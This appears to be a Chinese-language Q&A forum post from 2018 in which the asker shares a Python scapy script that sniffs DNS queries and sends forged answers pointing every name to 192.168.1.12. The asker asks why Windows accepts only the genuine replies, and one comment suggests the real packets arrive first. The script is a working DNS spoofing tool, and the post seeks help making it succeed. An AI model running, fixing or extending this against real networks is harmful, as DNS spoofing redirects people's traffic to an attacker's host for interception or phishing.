【发布时间】:2018-11-12 18:12:10
【问题描述】:
我想用 scapy 创建一个虚假的 dns 响应,但它不起作用...当我在 Wireshark 中嗅探数据包时,它显示数据包是正确的,但 Windows 只接受真正的响应数据包... 有人可以告诉我如何解决吗? 谢谢
import sys
i, o, e = sys.stdin, sys.stdout, sys.stderr
from scapy.all import *
sys.stdin, sys.stdout, sys.stderr = i, o, e
def f(packet):
if DNS in packet and DNSQR in packet :
return True
return False
while True:
a=sniff(lfilter=f,count=1)
ip = a[0].getlayer(IP)
dns = a[0].getlayer(DNS)
pkt = Ether(dst = a[0][Ether].src, src = a[0][Ether].dst)/IP(dst=ip.src, src=ip.dst)/UDP(chksum=None, dport=ip.sport,sport=ip.dport)/DNS(qd=a[0][DNS].qd, qdcount=1, ancount=0, nscount=0, arcount=1, ra = 1, qr = 1, id=dns.id, an = (DNSRR(rrname=dns.qd.qname, type= "A" , ttl=3600, rdata="192.168.1.12")))
pkt.show()
for i in range(10):
sendp(pkt)
【问题讨论】:
-
也许真正的数据包来得比你的快?您是否比较了两个回复并发现了差异?
标签: python sockets dns response scapy